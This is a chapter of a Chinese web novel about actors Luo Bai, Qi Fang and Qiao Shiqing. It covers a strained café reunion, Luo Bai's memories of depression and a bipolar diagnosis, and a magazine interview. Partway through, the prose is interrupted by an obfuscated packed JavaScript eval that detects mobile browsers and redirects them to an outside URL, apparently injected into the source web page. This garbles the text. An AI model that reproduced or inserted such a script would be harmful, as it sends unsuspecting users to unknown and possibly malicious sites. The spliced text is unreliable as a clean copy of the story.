剧本围读召开的还算顺利。 主创介绍开场后,大家一起通读了几个片段。 《秦桑低绿枝》讲的是一个架空王朝中皇家兄妹的故事。女主是长公主,男主是皇帝,男二是邻国摄政王。女主早年被迫和亲嫁给男二,两人先婚后爱,情到深处时男主带兵攻打邻国杀死了男二,将女主接回国。女主也因此与男主反目成仇。 “朕替你安排好一切,你可以无忧无虑做你的长公主,这有何不好?” “皇兄从来都是这样。自以为是,自作主张。从来不问我到底想要什么。” “那现在朕问你,你到底想要什么?” “我要他活着。我只要他活着。我早求过你了。” “……旁的朕都可以答应你。但他必须死。” 短暂的通读之后,会议室响起一阵掌声。 “这个状态很好。”导演很满意,“本子就别改了。” 洛白看着自己的台词。 台词里的话令她有无端的共鸣。 读着执念深重的剧本,她终于后知后觉地意识到。 齐彷是她必须直面的人生课题。 剧本围读会结束,洛白没有着急走。 “你有空吗?”她问坐在自己身边的齐彷,“我想和你聊聊。” “不好意思啊洛洛,我们彷哥一会儿还有事。”齐彷的助理先开口说。 “那下次再说吧。” 洛白打算拎起放在椅背上的外套,齐彷的手掌却压住了衣领。 “我有空的。”他稍微抬眸,视线与洛白相交。 两人一时无言。 齐彷前不久离开老东家朝夏这事在网上引起了不少热议。他本来是朝夏一哥,地位不用多说,大部人都以为他会续约。圈内人也都在议论,虽说他一直没公开过恋情,但他和朝夏总裁订婚这件事已经是心照不宣的秘密。现在他不续约,和夏家的婚事大概也不会有好结果。 之前ID聚餐时,大家就有八卦过齐彷。 她们说齐彷和夏总是各取所需式恋爱,订婚后照样是各玩各的。 但其实两个人都寡情,野心都在事业上,不是爱玩的人。 那时齐彷和洛白说了让她等他之类的话。可能就是指这件事吧。 他从朝夏抽身,也就有了余力来和她周旋。 他大她八岁。 怎么会不自以为是呢。 他总以为她年纪小,他和她的时间还长。 但他好像忽略了一件事,她的人生不是为了等他而存在的。 “怎么突然愿意请我吃饭了?”齐彷说。 他们在一家高空咖啡厅,这个点客人寥寥无几。两人坐在靠窗的角落,服务生端来拿铁和甜点后洛白摘下口罩:“这不算是吃饭吧。” “对我来说就是了。” 洛白一时无言。 两人就此陷入将近一分钟的沉默。 50. 咖啡厅 还没出道的时候,他和她经常来咖啡店。 一杯红茶拿铁,一杯冰摩卡,聊两个小时的天。 他和她都有被人理解的欲望,所以他们无话不谈。 籍籍无名的时候,他们各自听见对方的童年、梦想以及遗恨。 她知道他从小就想当演员。 尽管父母极力反对,他依旧到处去面试。进ID做练习生只是权宜之计,毕竟偶像出道后转型演员的大有人在。只是ID新拟的出道名单里没有他。过不久他才发现,试镜屡屡被拒、ID出道无望都是因为父母走了关系故意断送他的前途。 那时齐彷和父母大吵一架,近乎绝交。他知道自己需要找一个不会因为贿赂而放弃自己的公司,或者说靠山。他不可能再在ID坐以待毙。 他的盘算没有告诉洛白。他想,她年纪还小,没有心力替他想自己的未来。 齐彷知道她从小缺爱。别人说她清高骄傲,但他知道那是她不善言辞,不知道怎么和周遭人相处。长久以来洛白都有着不可窥底的敏感,她几乎没有信任别人的能力,这常常令她陷入无法自拔的孤独。 她总是无端地感到彷徨与失落、不安与恐惧,因此她时常会在某个深夜甚至凌晨忽然打电话给他,忙音响了几秒她的心就跟着沉了几下,亦或者在见面她低着头拽住他却一句话都不肯说。 他们的道别在一通电话里完成。 两人都偏执,又都不想失去体面。 “以后多保重。照顾好自己。”齐彷说。 “……你也是。”洛白回答。 挂了电话的瞬间,洛白失去了所有的力气,失神地跌坐在地上。 痛苦与压抑在那一刻好像突然清晰起来,重重压在她身上。 她好难过。 她真的很难过。 她真的很累。 一点儿力气也没有,满脑子只剩下那些不快乐。 她忽然觉得,光是这么活着,都好费力气。 半晌,她仍旧坐在地上,凌乱的头发披散下来,靠在墙壁上,一动也不动,这时就算是动一下手指,她也觉得很费劲。 什么也不想做,她只想就这样待着,直到死去。 洒进房间的月光让她想到曾经的无数个夜晚,无论是妈妈生前还是死后,她都有这样的夜晚,一个人呆坐在黑暗里,有时候想自己存在的意义,有时候想妈妈,有时候想天亮,有时候什么也不想。现在她又要想齐彷。 很缓慢,很缓慢地,她闭上了眼睛。 尽管只是闭眼,她也觉得万分疲倦,这个动作已经耗尽了她所有的力气。 不知过了多久,房间里越来越亮,她越来越冷。 不知道自己究竟是睡着了,还是一直在发呆。 自那以后她就永远失去了控制自己情绪的能力。后来医生告诉她,她得了双相情感障碍。 如今两人时隔多年再来到咖啡店。 时过境迁的感慨同时在两人心里滋生。但他们借助余光观察对方,又似乎觉得对方没有什么变化。 齐彷仍是那样,固执、凉薄、自我。 洛白也和从前差不多,清冷、寡言、破碎。 “你还是和以前一样。” 最后还是齐彷打破漫长的沉默。 “是吗。”洛白握住杯壁,她点了一杯多冰的红茶拿铁,这种冷到刺痛的温度让她格外清醒,“既然我们在一个剧组,之后应该会有很多交集。所以有些事,我想还是提前和你说清楚比较好。” 齐彷不置可否,只用一种近乎压抑的声音低声道:“我其实,很想你。” “……” 他的话让洛白的心脏出现一种不健康的抽动。 洛白又沉默了几秒:“之前你说,你不信我不在意你。我回去想了很久。” “既然我的话能让你想这么久,那答案已经显而易见了。” “是。齐彷。我必须承认,我还无法对你无动于衷。”洛白说,“但这不是因为我还喜欢你,而是因为我没法释怀被你放弃的事实,是我不甘心。” “我没有放弃你。洛洛。只是——” “在我看来是这样的。” 齐彷没有再解释,他不想为自己过去的所作所为再做虚伪的申辩。 洛白又说:“可能这几年我一直都生活在这种不甘心里吧。以后我不想再这样了。” “……你要放弃我了是吗?” 他们很久不对视了。齐彷从来都是静水流深,他眸色清淡,别人很难看出有什么情绪。他不是直白热烈的人,想法总压在心里。此刻他一瞬不瞬地盯着洛白,她竟然能分辨出一丝明显的占有欲。 洛白说:“我们之间已经没有什么放不放弃了。今天我和你说这些,也是为了解开我自己一直以来的心结。以后就不用再有什么瓜葛了。” “我不同意。”齐彷的语气没有太多起伏,这好像是他不同意就可以随时驳回的事。 “这不是你说了就算的吧。” 他看她望着自己的双眸,平静、寡淡、没有波澜。她太冷静了。她冷静得不像是装出来的。她不应该这么冷静。上次在医院,她明明还没有这样冷静。 “你喜欢上别人了是吗。”齐彷问。 洛白的视线转移到已经开始融化的慕斯上,没有回答他。 对齐彷而言,她的沉默就是一种回答。 他嘴角微动却没有一点儿笑意:“他是谁?” “……” 齐彷有一个呼之欲出的答案:“乔时青?” “这不关你的事吧。” “他啊。”齐彷有了些笑意,“你觉得他和我很像是么?” 洛白这下才看他:“他和你一点儿也不像。” “两年前我给一部动画电影配音,期间得了一次急性咽炎,所以我拜托他来帮我配了一部分。”齐彷继续说,“那时我就知道,我们的声音很像。稍微再注意一点儿的话,拿到大荧幕上也不会有人发现不同。” 他又说:“你也是这样觉得的吧。” 洛白想要否认,却发现自己无从否认。 她必须承认,她一早注意到乔时青,就是因为他的声音和齐彷很像。 她听着乔时青和自己说话,像是在听另一个齐彷和自己说话。初见时她正处于躁期,一听到他的声音,就控制不住自己的不甘、偏执、激昂,她恨不得能和他有更多的更深的交流。 而且齐彷说她喜欢乔时青。 她……喜欢乔时青吗? 她自己都没有对自己承认过这一点。 但在刚才齐彷问出“他是谁”的那一刻,她的脑子里只剩下了乔时青这个名字。 “你是不是把对我的感情投射到他身上了。”齐彷倾身搭在桌上,拉近了和洛白的距离,“洛洛,你不用退而求其次,知道吗?” “我——” 洛白的精神内核不够稳定,一经他混淆,心里的节奏就完全乱了。 她有些语无伦次:“你不用管我到底喜欢谁。总之不会是你。也不可能。我该说的都已经说了。以后在片场就是同事。都好自为之吧。我先走了。” 洛白不等他回答,抓起包头也不回,大步流星地离开了咖啡厅。 她走进电梯时内心已经被一种无名的闷气席卷了。 她气自己从来都说不过齐彷。 她也气自己没有坚决表达自己的意愿。 她更气自己……看不清自己的内心。 难道她真把对齐彷的感情投射到了乔时青身上吗?她那些暧昧委婉的心思都是假的吗?难道是因为躁郁症的缘故她才格外依赖乔时青? [乔时青:第三夜要定档了] [乔时青:后天一起吃饭?] 洛白收到乔时青的消息。 她反复读了几遍,输入了一段话又删掉。 如果她和乔时青说,“我好像喜欢上你了”。他会怎么说?他会是什么反应? 不不不。她还不知道自己喜不喜欢他。 她应该问他,“你觉得我喜欢你吗”。他——可他怎么知道?连她自己都没想通。 洛白想思考自己的内心,但她根本静不下心。字斟句酌到最后越来越心乱如麻。 由此她选择了最可耻的办法——逃避。 [洛白:不了] [洛白:这段时间都很忙] - “你知道——我刚才收到了什么消息吗?”夏轩的语气挺激动,“你绝对想不到!” “别卖关子了。” “我姐夫和你老婆约会被拍到了!” “你这句话里有多少槽点我都不想说了。” “你——你自己看吧!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869940|147798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔时青点进他发来的图。 不算很清晰,但依然可以辨认出是齐彷和洛白。 两人对坐在咖啡厅一角。 “怎么样?”蓝牙耳机里传出夏轩仍然不可置信的声音,“你就说你震不震惊?” “他们合作过《封玄境》,现在又一起拍戏,聚一聚不算什么。” “不算什么?”夏轩哼了一声,“就齐彷那死闷个性,平时连我爸妈叫他吃饭他不乐意都不来——还有洛白,不也是个彻头彻尾的i人?他们俩能一起吃饭,你说是谁提议的?是谁提议的都很奇怪吧!” “这张照片你压下来。”乔时青说,“别让人发到网上去了。” “那当然,要被夏然看见还不知道要怎么样呢。我又不是那种唯恐天下不乱的人。”夏轩又说,“不是,你怎么这么淡定?小洛白和别的男人吃饭,难道你就不好奇不介意?” “我是介意。但洛白要做什么是她的自由。我先去采访了。” 挂了电话。 乔时青给洛白发了一条消息。 [乔时青:后天一起吃饭?] 她一时没回复,他又把那张照片翻来覆去看几次。 照片是从斜侧方拍的,只能看到洛白的侧脸。她的脸上没有笑容。 他正端详的时候,屏幕上方弹出她的回复。 [洛白:不了] [洛白:这段时间都很忙] 乔时青在那一刹那有一种极其强烈的感觉。 ——两人不断升温的关系就这样突然爆冷了。 她说的是实话,还是避而不见的借口……? “乔哥,采访准备好了。”叶减出门喊他。 “来了。”乔时青收起手机推门而入。 “大家好。我是乔时青。”乔时青面对镜头按照事先说好的流程说,“很高兴这次参与《ALLI》的杂志拍摄,下面我会回答一些大家比较好奇的问题。” 摄像机旁边聚集了二十来个杂志社的员工,好多都是来看热闹的。这是《ALLI》惯有的“十问”采访环节,事先收集十道有关艺人的问题,让封面人物逐一回答。 “Q1:如果不当演员,你会从事什么职业呢?” “换在以前的话,会做钢琴家。不过这两年开始对架构设计蛮感兴趣的,要不做演员了,可能会去做一个游戏设计师吧。” “Q2:有养宠物的打算吗?” “养宠物这个事比较麻烦。在确定我能对它负责之前,应该不会。”乔时青顿了顿,“我也没有特别喜欢的宠物吧。” “Q3:爱一个人和被一个人爱,你会选哪个?” “爱。” 他不假思索说完。 工作人员又追问说:“为什么呀?” “这不是理所当然的吗?”乔时青反问她,“难道你会选被爱?” 被他注视的女生脸红了,还是说:“很多人都会选被爱的吧。毕竟主动爱一个人是比较辛苦的事,被爱的话省力一点儿……” 乔时青笑了一下:“我倒觉得不是省不省力的事。内心匮乏的话,总会执着于被爱。而爱,你也说了,是主动的行为。爱是我的意愿,被爱是他人的意愿。我当然认为遵从自己的意愿行事比较好。” 旁边的编辑继续走流程:“Q4:开车一百公里VS坐车三小时。” “开车吧。”乔时青说,“坐车太无聊了。” “那开一百公里就不也很无聊嘛。”有人笑道。 这就让他无法不想起洛白。 上回他从新源开到新陵,是去找她。 那么长的路,他所有心思都挂在她那里,哪里会无聊? 那几天他们关系明明很融洽。 乔时青甚至都以为她有些喜欢他。 她的目光总追随着自己,偶尔拉着他的衣角,笑起来眉眼弯弯溢出温柔又害羞的意味。 可是不知道为什么,他直觉今天她莫名和他疏远了。 “开车不会无聊。”乔时青说,“要是有人坐在副驾驶,那就更不无聊了。” “Q5:你的理想型是怎样的?”编辑补充说,“能以某一位艺人为例子吗?” 这个问题他还要再想吗。 答案早在他唇齿之间来回过千遍了。 乔时青说出了那个折磨他许久的名字:“洛白。”